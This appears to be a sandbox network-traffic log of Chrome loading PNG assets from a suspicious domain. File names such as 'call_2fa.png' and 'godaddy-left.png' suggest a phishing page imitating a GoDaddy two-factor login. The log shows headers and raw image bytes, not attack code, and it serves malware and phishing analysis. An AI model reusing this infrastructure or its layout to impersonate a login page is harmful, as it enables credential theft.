2024-10-07 18:59:11 UTC	376	OUT	GET /static/media/auth_number.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:11 UTC	827	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:11 GMT Content-Type: image/png Content-Length: 2382 Connection: close Content-Disposition: inline; filename="auth_number.png" Last-Modified: Sat, 04 Nov 2023 15:30:22 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=61v2WWR0bqfqRtfpwqpdcflyG6%2FAVxambSPT2OcYFlUkTz8haYopEzMPX7CGZhpBpQKjXJeIrjNm0Zr83%2Fbzm0h30BC7Ia8mASquuS7q%2F2OmKS2VBSFwzHb1EpkBbAu0A965r2vJqyfUBf0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf0207b0f3b8c99-EWR
2024-10-07 18:59:11 UTC	542	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 08 9a 49 44 41 54 78 9c ed dd 7b 6c 5b 57 1d 07 f0 ef ef dc 3c 48 d2 48 54 eb bc 95 6d a5 b0 b6 e3 d1 81 90 a7 ad 2c ab cf 4d a3 12 aa 55 82 41 bd 3f a7 b1 49 48 55 25 b4 aa d5 ca 26 f1 c7 04 ea 63 2b d0 22 60 e2 a1 21 2a 55 53 f1 84 40 2a 0d 54 8b ed eb b6 50 1e e9 a4 0a a6 0d 36 34 36 26 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATx{l[W<HHTm,MUA?IHU%&c+"`!US@TP646&
2024-10-07 18:59:11 UTC	1369	IN	Data Raw: 80 e3 d5 b4 b1 69 d3 a6 d6 d1 d1 d1 07 55 b5 1b c0 3d ce b9 35 22 b2 54 44 c4 5a ab 00 86 00 9c 75 ce 9d 6a 69 69 39 dc df df ff e7 6a c7 d7 d5 d5 d5 d9 d2 d2 b2 a9 58 2c f6 1a 63 3e a1 aa 77 19 63 da 27 cb cf 9d 3b e7 52 a9 d4 1b 00 4e 07 41 70 38 97 cb bd 0c c0 55 db fe 42 d4 d0 c1 5a b7 6e 5d 5b 6b 6b eb 0e 00 5f 06 d0 31 9b 36 ac b5 cb 44 e4 e9 2b 57 ae 3c 2a 22 4b 27 8f 1b f3 bf 59 82 88 08 80 9b 01 f4 04 41 d0 53 2c 16 bf 12 86 e1 4b 41 10 6c 9d ee 19 31 0c c3 3d aa ba 4d 55 3b 83 20 98 6c ef ff ce 31 d7 3a 5b 03 60 8d aa 3e 92 4a a5 5e 35 c6 7c 29 9f cf f7 cf e6 31 2d 04 0d 39 c7 da bc 79 73 bb b5 76 6b 6b 6b eb eb 22 f2 55 11 99 55 a8 c2 30 ec 15 91 bf 00 d8 3e 35 54 d3 99 08 5a 7a 7c 7c fc 4c 4f 4f cf 07 a7 39 fd b3 22 d2 39 93 71 19 63 3e 02 e0 Data Ascii: iU=5"TDZujii9jX,c>wc';RNAp8UBZn][kk_16D+W<*"K'YAS,KAl1=MU; l1:[`>J^5\|)1-9ysvkkk"UU0>5TZz\|\|LOO9"9qc>
2024-10-07 18:59:11 UTC	471	IN	Data Raw: c5 62 f1 d0 c9 93 27 07 cb 75 67 ad ed 2d 16 8b df 31 c6 c4 dd ed 33 e4 9c 2b cc 70 3c 75 b5 68 83 a5 aa 9f ae f0 ec f0 c0 c4 8d 0e 55 13 91 b7 01 9c 2e 73 fc 4e 00 fb 83 20 78 2e 0c c3 d7 71 6d a7 e8 10 80 11 e7 dc 2d 22 f2 49 11 f9 40 85 b1 40 55 0f 46 51 54 9c c9 78 ea 6d d1 06 cb 18 b3 a2 96 fd 4d bc 35 f4 a1 89 af c9 31 4c 5b 4f 55 ff d4 de de fe 9c c7 a1 79 b1 68 97 1b 54 75 21 dd 9b 18 e7 8d 20 08 7a fb fa fa ae d6 7b 20 33 b5 68 83 05 60 c1 ae 64 4f 2c 75 fc a8 58 2c de 3f b9 b7 bf d1 2c e6 60 79 75 f4 e8 d1 11 11 e9 05 90 41 95 37 5a 38 e7 ae a8 ea 8f 01 dc 9b cf e7 1f 8b 99 ec 37 84 86 9f 63 a9 ea c1 52 a9 f4 fd 72 65 23 23 23 95 7e a1 2b 8b c5 e2 bc 7d d8 7a 67 67 e7 f5 3b 16 34 97 cb 1d 07 70 3c 99 4c 36 77 74 74 ac 13 91 8f 02 58 e5 9c fb ef Data Ascii: b'ug-13+p<uhU.sN x.qm-"I@@UFQTxmM51L[OUyhTu! z{ 3h`dO,uX,?,`yuA7Z87cRre###~+}zgg;4p<L6wttX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49783	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:11 UTC	373	OUT	GET /static/media/call_2fa.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:11 UTC	826	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:11 GMT Content-Type: image/png Content-Length: 5533 Connection: close Content-Disposition: inline; filename="call_2fa.png" Last-Modified: Sat, 04 Nov 2023 15:30:38 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fYXBPN3JFjbqL4TQAjr3GFbTGTM1aOmrEHQAZgs0RM5cE8ZL6R8xhb0bWOfdXTnSUn080uiDA1gZcAoxty0NTWec%2BgURH%2FfcehRpI4UZZqo2R4l2wVgeOd8eKUxeP7x54%2F%2B7IYthvpS0IAo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf0207b590a1784-EWR
2024-10-07 18:59:11 UTC	543	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 14 e9 49 44 41 54 78 9c ed 9d 79 7c 1c c5 95 c7 df ab 92 2c d9 c8 86 24 48 21 24 f6 8c 15 d6 49 80 64 21 e6 93 25 8b 46 d5 ad 03 47 e0 e5 8c 30 21 2c a7 31 f7 0d 81 10 20 90 70 84 db 1c 31 04 58 43 20 24 9b d8 e6 5a 83 60 65 cf 74 79 ec 05 92 75 58 ae 04 96 c4 d6 88 b0 18 db 24 06 e4 03 cd Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATxy\|,$H!$Id!%FG0!,1 p1XC $Z`etyuX$
2024-10-07 18:59:11 UTC	1369	IN	Data Raw: 69 ce b3 6d 7b 59 10 51 01 00 30 c6 18 22 9e 89 88 af 98 a6 d9 16 75 7c d5 8a 10 e2 7c 00 98 ef 21 2a 20 a2 cf 10 d1 7e 31 86 f5 09 2a b2 2a 14 42 9c 07 00 77 21 62 29 fe 77 21 a2 63 a7 4f 9f fe 51 5f 5f df aa b0 63 ab 66 4c d3 bc 00 00 6e f5 b2 21 22 42 c4 b3 2d cb ba 37 a6 b0 46 25 f6 9f 42 d3 34 cf 21 a2 db 43 ea ee 7e 22 3a 5d 4a 59 08 a9 bf aa 45 08 71 31 22 de e8 65 33 42 54 3f 8d 2b 2e 37 62 15 96 10 62 2e 00 dc eb 35 8c 97 c0 d2 89 13 27 7e bb a7 a7 e7 a3 10 fb ac 2a 84 10 17 21 e2 4d 5e 36 44 44 00 70 ae 94 f2 ce 98 c2 f2 24 36 61 99 a6 39 4f 29 75 4f 00 51 ad 23 a2 d5 00 30 03 11 ff 21 60 f7 8f 37 36 36 ce 59 b4 68 d1 60 99 61 7a 22 84 e8 1e f9 6f c6 18 02 c0 2e 9c f3 a5 cb 96 2d fb bf 88 7c 7e 1f 11 af 0b 60 7a 9e 65 59 61 fd 12 94 4d 4d 1c 4e Data Ascii: im{YQ0"u\|\|!* ~1*Bw!b)w!cOQ__cfLn!"B-7F%B4!C~":]JYEq1"e3BT?+.7bb.5'~!M^6DDp$6a9O)uOQ#0!`766Yh`az"o.-\|~`zeYaMMN
2024-10-07 18:59:11 UTC	1369	IN	Data Raw: 15 40 88 c2 52 4a 6d 76 9b 63 79 ac 16 4b 46 08 b1 0b 22 a6 01 c0 33 7b 81 88 9e 6b 6a 6a ba 39 6c ff db d3 dd dd cd 37 6c d8 f0 00 22 fe ab 9f ad 6d db f7 66 b3 d9 33 60 9c 8a 0a 20 dc 7d ac 8d 6e 0d 44 f4 f9 10 fd c0 fe fb ef 3f 11 00 9e 04 7f 51 bd c9 39 3f 7c d1 a2 45 9e 59 a7 e5 82 88 7c c3 86 0d 0f 00 40 10 51 2d cc 66 b3 a7 c3 38 16 15 40 88 c2 92 52 6e 52 4a 7d 30 aa 13 c6 a6 08 21 76 09 c3 4f 77 77 37 af ab ab 5b 84 88 29 2f 3b a5 54 bf 52 aa 3d ec 43 6f 17 e6 43 70 51 9d 02 11 de 24 aa 16 42 3d d2 61 8c 79 6d 82 86 92 5d b0 71 e3 c6 0b 11 f1 60 2f 1b 22 ca 21 62 7b 36 9b 7d 2b 0c 9f 01 d8 3b 80 cd 03 3b 8a a8 00 c2 3f 2b 7c c3 a3 d9 2b f9 2f 10 a9 54 6a 2a 11 f9 e5 25 bd ae 94 4a 49 29 ff 54 ae bf b0 20 a2 9f 5b 96 35 17 76 10 51 01 84 9f e8 f7 Data Ascii: @RJmvcyKF"3{kjj9l7l"mf3` }nD?Q9?\|EY\|@Q-f8@RnRJ}0!vOww7[)/;TR=CoCpQ$B=aym]q`/"!b{6}+;;?+\|+/Tj*%JI)T [5vQ
2024-10-07 18:59:11 UTC	1369	IN	Data Raw: 4f 6e 59 ba 74 e9 96 30 7c 16 21 ae 5f 10 d1 89 52 ca 42 b9 3e 9d 9a 59 e7 03 c0 65 88 e8 75 d3 08 9c 34 a3 85 30 f4 c2 97 6b f5 9e b1 40 c5 52 5c a5 94 05 ce f9 31 44 f4 a1 9b 0d 22 ee 3b 30 30 f0 20 84 f4 07 50 c4 cf e2 b1 88 f8 ab 72 93 05 5b 5a 5a 1a 37 6c d8 60 21 e2 4d 7e a2 02 00 40 c4 5a 44 3c 15 00 7e db da da fa d5 72 7c 57 9a 8a 26 c2 f5 f5 f5 fd 2d 99 4c be 85 88 5e f7 0d f7 9a 3e 7d ba ea eb eb 93 61 f8 ec ef ef 1f 98 3a 75 ea a3 01 f6 b9 f6 dc bc 79 f3 d7 93 c9 e4 a3 b9 5c ae e8 91 ab a3 a3 63 1a 11 65 10 f1 eb c5 7e d6 11 e1 b1 c9 64 f2 b9 5c 2e d7 57 ec e7 ab 81 8a 67 58 e6 72 b9 97 93 c9 64 02 3c aa d1 10 91 d1 dc dc fc 4a 5f 5f df 1f c3 f0 19 54 5c 88 38 03 00 be 39 63 c6 8c 25 6b d6 ac 19 35 1b 76 34 4c d3 fc 92 6d db 16 22 36 97 1a 23 Data Ascii: OnYt0\|!_RB>Yeu40k@R\1D";00 Pr[ZZ7l`!M~@ZD<~r\|W&-L^>}a:uy\ce~d\.WgXrd<J__T\89c%k5v4Lm"6#
2024-10-07 18:59:11 UTC	883	IN	Data Raw: c4 7b 65 41 b8 ce c1 e2 64 cc 0b 6b 18 29 e5 7d 88 d8 4e 44 be af 62 31 c6 9a 88 e8 09 c3 30 ee 2d f5 09 96 0a 72 11 63 6c d4 9f 3b 22 fa 68 c2 84 09 6b e3 0e 68 34 c6 8d b0 00 00 a4 94 2b 39 e7 33 89 e8 77 01 3f 72 4a 3e 9f ff b3 61 18 e7 c2 18 f8 bf 10 42 9c 48 44 5e 25 2f ad de de de cd b1 05 e4 41 d5 ff 67 16 4b 3a 9d 7e 7b f2 e4 c9 06 11 3d 12 c4 de 79 03 71 be 61 18 ab 4c d3 fc c4 73 78 d5 82 23 aa fb bd 8e 76 18 63 bf 8c 33 26 2f c6 f4 0a c9 0f d3 34 8f 73 26 f6 81 d2 6a 94 52 8a 31 f6 48 6d 6d ed 45 d5 f4 52 ab 61 18 c7 2b a5 16 fa 9c 17 be 01 00 7b 87 71 c9 36 0c c6 b5 b0 00 fe 7e 0c f4 cb 62 de a4 26 a2 f7 19 63 b7 d6 d7 d7 cf ef e9 e9 f9 20 c2 f0 7c 31 4d f3 38 db b6 1f f0 11 55 9e 88 da 57 ac 58 91 8d 33 36 2f c6 c4 21 74 39 e4 72 b9 8d bb ee Data Ascii: {eAdk)}NDb10-rcl;"hkh4+93w?rJ>aBHD^%/AgK:~{=yqaLsx#vc3&/4s&jR1HmmERa+{q6~b&c \|1M8UWX36/!t9r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	49784	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:11 UTC	382	OUT	GET /static/media/2fa_authenticator.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:11 UTC	839	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:11 GMT Content-Type: image/png Content-Length: 3568 Connection: close Content-Disposition: inline; filename="2fa_authenticator.png" Last-Modified: Sat, 04 Nov 2023 15:30:53 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lr9k06gH%2B6N85Uoy17mMgUW3%2F01I4PXGV%2B%2BPlaSYrjARFLebO7mhWQ%2FHgB2TM4pzDFhhbr%2Fx547cIUmNrbY7j2Dg9EXPe1eaLw8BfrU4zqMTXcwChOc7uX2f2nDwOvQ257EoL6zLGG9uy1I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf0207bda67431a-EWR
2024-10-07 18:59:11 UTC	530	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 0d 3c 49 44 41 54 78 9c ed 9d 79 90 1e 55 11 c0 7f bb d9 24 64 93 60 38 12 92 70 06 13 20 5c 09 72 a8 80 45 04 91 84 a3 38 3c b0 40 39 0a e5 50 8b 43 a4 10 4b 14 05 21 55 80 22 a5 96 94 a5 c6 40 21 96 72 49 09 18 44 02 48 01 06 a8 04 42 4e ee 04 72 00 c9 e6 3e 77 e3 1f bd 6b d6 b0 df cc 7c Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-<IDATxyU$d`8p \rE8<@9PCK!U"@!rIDHBNr>wk\|
2024-10-07 18:59:11 UTC	1369	IN	Data Raw: d6 37 db 62 e6 fa 8c 82 ff 2a 7a 60 2c f2 f4 5a df 64 2b 59 86 2c 56 2a 14 d9 11 49 4b b1 be b9 d6 32 1b bd 2c 8c 86 a7 17 92 7e 62 7d 53 63 91 07 a8 36 b1 55 f8 11 f6 37 33 36 b9 dc c9 a3 01 88 7d e4 1f 0c 4c 43 32 15 42 b3 08 09 be be 0d 2c 41 c2 1b cd c0 76 c0 2e 48 86 e9 68 e4 67 3a 34 6b 81 31 48 f6 6a 45 9d b4 00 2f 12 6e 16 58 0d fc 05 f8 2a d9 a3 de 4d c0 7e c0 c5 c0 3f 80 8d 01 f5 9d 4a 95 76 93 8b ab 08 73 83 66 03 df 44 e7 a5 78 28 92 2d ba 28 90 ee 17 29 e8 dc 50 ec 80 2c af 7d de 94 05 48 b2 5d 2f 0f fa b7 02 57 03 6d 9e 6d 58 4c b5 61 5d 17 13 f1 77 33 3a 80 db 81 81 01 ec 18 8e e4 5a f9 1c 5c d7 06 b0 a3 14 0c c3 5f 20 f4 03 e0 c4 70 a6 fc 8f 73 f0 67 d3 4a 60 48 38 53 8a cb cd f8 b9 01 73 91 95 9c 15 9f c2 5f 36 c6 f5 01 ed 28 24 fd 90 59 Data Ascii: 7bz`,Zd+Y,VIK2,~b}Sc6U736}LC2B,Av.Hhg:4k1HjE/nX*M~?JvsfDx(-()P,}H]/WmmXLa]w3:Z\_ psgJ`H8Ss_6($Y
2024-10-07 18:59:11 UTC	1369	IN	Data Raw: 5c ec fa 8e 95 3b e4 1f 90 b1 c0 49 d6 4a 6c c3 b5 d6 0a 64 e0 5d cb 2f 9f 85 7d 0a 6d 16 99 4f 3c 69 3e 67 62 ef 8f 2c f2 05 17 23 5d 8b cc cf 72 bc 3e 14 23 91 9a e7 d6 0c 46 8a 90 14 81 39 96 5f 7e 3d f6 4f 56 56 69 47 56 89 56 34 03 8f f6 a0 57 8c b2 09 e3 fa 0d 9a 2d 77 43 c8 0a e0 10 2f 9e 48 e7 b6 8c 3a c6 20 a6 b3 15 48 5f 3c 6b 27 d4 2b 8b 80 83 7c 38 a3 06 4d c0 4d 1e ec f0 29 0f 78 f1 44 1d b4 20 e5 15 ad 1d 51 af 2c 43 4a 5b fa a6 2f 7a 9d 53 43 4a 14 75 64 9f c2 de 11 79 64 33 b2 ec f7 d5 b3 71 14 f0 42 04 76 e6 91 e3 3d f8 a3 6e 6e c6 de 11 2e 32 1d 29 ed a8 45 2b 70 1d c5 ac 72 b8 05 d9 1f 8c 22 dd e8 8b d8 3b 43 43 1e 43 56 8d 79 b3 3a 87 00 d7 20 85 72 ad 6d 71 91 d9 39 ed 57 67 37 ec 9d a1 29 0b 81 db 91 92 dc bb 24 d8 dd 1b 59 04 5c 8a Data Ascii: \;IJld]/}mO<i>gb,#]r>#F9_~=OVViGVV4W-wC/H: H_<k'+\|8MM)xD Q,CJ[/zSCJudyd3qBv=nn.2)E+pr";CCCVy: rmq9Wg7)$Y\
2024-10-07 18:59:11 UTC	300	IN	Data Raw: c9 56 34 63 06 92 b5 1a 92 1d c8 56 bb a2 03 a9 f7 55 9d a1 8c 8c 5d 91 d6 25 69 37 70 23 f2 ee b5 93 67 7d fa 20 15 89 97 66 d0 e9 43 e0 24 cf fa 54 38 d0 82 ec b1 65 29 6f bd 0a 99 21 b4 d3 78 9b 81 2f 91 bd 24 f9 c3 48 a3 a7 8a 02 70 20 12 cf ca 72 63 db 90 1c f2 53 70 fb 19 3a 00 79 8f 7b b3 8e ef bd d0 e1 fb 2a 8c e8 0d fc 98 f4 17 fb ee b2 00 59 69 5e 0e 1c 85 a4 e6 f4 54 f3 60 47 e4 5d ed 12 a4 3a 74 bd 2d 4c 1e 42 e2 58 15 05 e6 50 e0 15 ea bb f1 db ca 72 e0 0d 24 f6 e4 52 87 7d 19 d2 4b a7 a2 24 f4 05 ae 45 8e 93 b9 0c b0 bc d2 8e fc dc 0e f3 6d 68 85 0d bb 21 4b ff 0d 84 19 50 1d c8 cf 5e 43 54 7b a9 90 fe 81 13 91 33 8b 3e 06 d4 2a a4 07 e0 98 50 06 55 c4 45 1f 64 35 38 09 f7 aa c4 cb 81 7b 81 b3 a9 52 86 ab 5d f3 6d d8 1d d9 a3 3b 02 99 6d ba Data Ascii: V4cVU]%i7p#g} fC$T8e)o!x/$Hp rcSp:y{Yi^T`G]:t-LBXPr$R}K$Emh!KP^CT{3>PUEd58{R]m;m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	49785	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:11 UTC	377	OUT	GET /static/media/godaddy-left.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:11 UTC	831	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:11 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="godaddy-left.png" Last-Modified: Mon, 27 Nov 2023 04:08:52 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TPMozEB2Q4jxiV%2FSJCxDF%2FKiEnR6R8vRpwR0qgYn%2Fgrt9NlvkXaHg0XgB5KFLXKJJwtwLgB%2FbyacOmcvSimRvzS9GxYqOyNfzfuY54WRl14bZZk2lDmVUJNIMxCBBI39odh0U1ekAo9dsHA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf0207c7d8b3350-EWR
2024-10-07 18:59:11 UTC	538	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-10-07 18:59:11 UTC	1369	IN	Data Raw: 5b aa 99 4b 11 77 74 e8 de 17 76 f9 0a a8 ac 6d 44 f8 35 ec d8 b8 06 69 69 92 bb 02 d5 aa 57 c7 9f 0b 17 b1 85 7a 2a 23 c9 1a 30 04 18 02 0c 01 c3 44 80 11 bd c0 fc 46 56 d5 77 0d e9 2c d5 aa 54 99 f2 08 ee de 17 a6 a6 b9 d5 d6 f4 e5 f3 a7 58 bf 7c 11 be 7c f9 4c 65 74 ef d1 03 a3 46 8e 64 be 57 1b 51 d6 90 21 c0 10 60 08 18 0e 02 6c b0 e7 c1 57 67 ce 9e e3 7e 9f 36 15 2f 5e bc e0 41 da 77 11 ae 6e 45 d1 7d c0 ff 60 66 66 a6 b1 dc 53 a1 07 70 e2 f0 3e a9 9c 21 43 87 22 29 29 09 4f 9f 3e 45 fc 87 0f 39 ca cf 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d 3b 59 a9 e7 f1 39 75 1c 11 1e 86 63 07 77 23 ee dd 5b 5e f5 73 75 75 85 9b bb Data Ascii: [KwtvmD5iiWz*#0DFVw,TX\|\|LetFdWQ!`lWg~6/^AwnE}`ffSp>!C"))O>E9/?+bH"p-RNXh&!`h6X 33s;Y9ucw#[^suu
2024-10-07 18:59:11 UTC	1369	IN	Data Raw: 04 05 05 21 2a 2a 8a 9a bc 65 db 36 94 f5 f2 e2 e5 da 32 26 0c c5 68 2b 0b 02 35 bc 7a e9 f2 15 ae 57 cf 1e b4 65 fe 02 05 b0 67 ef 3e 14 c8 67 a7 11 96 3f 0d 18 c0 9d 39 7d 9a ca ec d2 77 30 3c 4b 95 91 6a b6 7d e3 2a dc 0a bb 22 fd 9b 2c d4 23 24 5f d0 c1 51 0d ed f5 db 84 90 3d 49 e0 f3 ed db 37 aa 88 b5 b5 35 5d 29 ac ee 6e 05 59 6b 64 17 e1 0d 1c 38 10 e4 c5 0a 43 c0 98 10 e8 d9 b3 27 ae 5c 91 8c 15 4b 97 2d 87 7f 2d 3f 8d c6 25 63 c2 4e cc b6 b2 20 50 c3 bb 33 67 ce e2 d6 ad 93 9c 2c 17 dc a1 23 26 4e f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 e4 a8 60 ba f3 81 00 23 7a 3e 50 14 9f 0c 8d 09 4a 7c 90 e4 6c d1 87 84 04 2e Data Ascii: !*e62&h+5zWeg>g?9}w0<Kj}",#$_Q=I75])nYkd8C'\K--?%cN P3g,#&NMc.[-ZY'/_\|7s!wnaur'N`07`#z>PJ\|l.
